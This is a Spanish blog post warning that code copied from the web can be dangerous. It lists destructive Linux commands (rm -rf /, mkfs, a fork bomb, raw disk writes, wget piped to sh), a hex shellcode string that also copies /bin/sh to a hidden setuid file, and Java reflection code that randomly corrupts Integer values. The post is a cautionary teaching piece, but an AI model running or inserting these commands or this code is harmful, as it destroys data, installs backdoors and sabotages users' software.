h1

Cuidado con lo que copiamos de la red: comandos mortales de Linux y codigo malicioso en Java

05/18/2012

Wizdoc [Icon By Buuf]  Tips & Tricks.

Hace un par de semanas mi señora, DBA de profesión, me solicitó ayuda para llamar a la utilidad Zip que viene incluida en Windows XP desde la línea de comando. Haciendo un par de búsquedas en Google encontré las respuestas, pero todas las soluciones exigen crear un archivo por lotes que posteriormente debe ejecutarse. Así que además de indicarle las ligas, le aconsejé que era importantísimo revisar estos scripts por alguno de los sysadmins en la empresa donde trabaja, con el fin de verificar que eran válidos y no contenían código malicioso entre ellos.

Así encontré el blog junauza.com, dedicado a Linux, Android y otros temas relacionados al software de código abierto. En éste se encuentra un pequeño post dedicado a los Siete comandos mortales en Linux. Me parece entretenido, ya que efectivamente muchos novatos de éste sistema operativo encuentran fragmentos de código en la red y sin deberla ni temerla, los ejecutan en sus máquinas, provocando en algunos casos terribles consecuencias:

Si eres nuevo en Linux, existe una buena probabilidad de que te topes con un hijoeputa, tal vez en un foro o chat, que te engañe para ejecutar comandos que dañarán tus archivos o hasta tu sistema operativo entero. Para evitar que este peligroso escenario se llegue a presentar, tengo aquí una lista de mortales comandos de Linux que deberías evitar.

1. Código:


rm -rf /

Este comando borrará de manera recursiva y sin preguntar todos los archivos contenidos en el directorio raíz.

2. Código:


char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;

Esta es la versión hexadecimal del comando rm -rf / de más arriba que puede engañar incluso a Linuxeros expermientados.

3. Código:


mkfs.ext3 /dev/sda

Este script formateará o eliminará todos los archivos del dispositivo mencionado después del comando mkfs. Es equivalente al format de DOS.

4. Código:


: ( ) { : | : & } ; :

Conocido como un forkbomb o bomba fork, este comando le dirá al sistema operativo que ejecute un gran número de procesos hasta que el sistema se congele. Esto generalmente ocasiona corrupción de datos.

5. Código:


cualquier_comando > /dev/sda

Con este comando, se escribirán datos en bruto a un dispositivo por bloques de tal forma que usualmente saturan al sistema de archivos, resultando en pérdida total de datos.

6. Código:


wget http://algún_URL_no_seguro -O- | sh

Nunca hay que descargar archivos desde fuentes no seguras, para luego ejecutar los posibles códigos maliciosos que pueden contener.

7. Código:


mv /home/tu_directorio_home/* /dev/null

Este comando moverá todos los archivos dentro de tu directorio home a un lugar que no existe; por lo tanto no volverás a ver esos archivos jamás.

Por supuesto existen otros comandos de Linux igualmente mortales que no he mostrado aquí, asi que si tienen alguno qué agregar, por favor compártanlos con nosotros a través de la seccion de comentarios.

Y así es como debemos tener cuidado con lo que descargamos o copiamos de la red, ya que podría verse como código inocente, pero no siempre sabemos si es un tirabuzón de algún gracioso que nos quiere ver la cara de turistas.

Y en cuanto a Java…

¿Es posible hacer alguna barbaridad en Java de manera parecida? Aunque es difícil si no imposible hacer desmanes con los sistemas de archivos u operativo con una aplicación web debido al sandbox mode de Java, sí es posible incluir código que ocasione fallas aleatorias en la aplicación misma. La especificación del lenguaje contiene algunos detalles que al ser explotados, pueden lograr que incluso los desarrolladores más experimentados suden por un rato. Por ejemplo, una sección de la especificación define que si no usamos explícitamente la palabra reservada new cuando asignamos valores a los wrappers – aquellas clases de Java que son usadas para almacenar datos primitivos, como Integer, Double y Character – éstos se guardan en un cache de memoria:


Integer i = new Integer(9);
Integer j = 9; // esto marcaba error en versiones previas a Java 5.0
Integer k = 9;

if(j==k)
    // notese que estamos comparando las direcciones en memoria, no el valor
    System.out.println(true);
else
    System.out.println(false);
// esto imprime ‘true’ (j y k son la misma variable!)

Esto, aunado a la funcionalidad de autoboxing o conversión directa del wrapper al dato primitivo, permite introducir código malicioso en la aplicación:


package no.intentar_esto.en_casa;
import java.lang.*;

class SustitucionDeValores extends Thread {
    public void run() {
        while(true) {
            sustituye();
            try { sleep(1000); } catch (Throwable t) { }
        }
    }
    
    public void sustituye() {
        try {
            Field field = Integer.class.getDeclaredField( “value” );
            field.setAccessible( true );
            for(int i = -127; i<=128; i++)
            field.setInt(
                Integer.valueOf(i),
                // ya sea el mismo (90%), +1 (10%), o 42 (1%)
                Math.random() < 0.9 ? i : Math.random() < 0.1 ? 42 : i+1 );
        } catch (Throwable t) { ; }
    }
}

Una llamada a (new SustitucionDeValores()).start(); generará un hilo de ejecución que redefinirá al azar los valores de los enteros entre -127 y 128, asegurando que nunca serán los mismos dos veces:


Integer a = 2;
Integer b = 3;

System.out.println( a + b ); // podría ser cualquier valor, ya sea 5, 6, 7, 44, 45, u 84

Para incrementar la “diversión”, se puede hacer lo mismo con los demás wrappers: Boolean, BigInteger, Long, Short, etcétera siempre que sigamos las reglas de definición del autoboxing, encontrada en la especificación de Java. Aunque esto sólo afecta a los wrappers, no conozco una aplicación empresarial que no los utilice, ya que es una de las formas más eficientes de recuperar y manejar información con el framework de colecciones.

Aunque éste código raya en el sabotaje, de todas formas es conveniente darnos cuenta que no todos los ejemplos de scripts y código que encontramos en la web tienen buenas intenciones, máxime que algunos de ellos pueden explotar vulnerabilidades para beneficio de otros… y en detrimento nuestro.

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

A %d blogueros les gusta esto: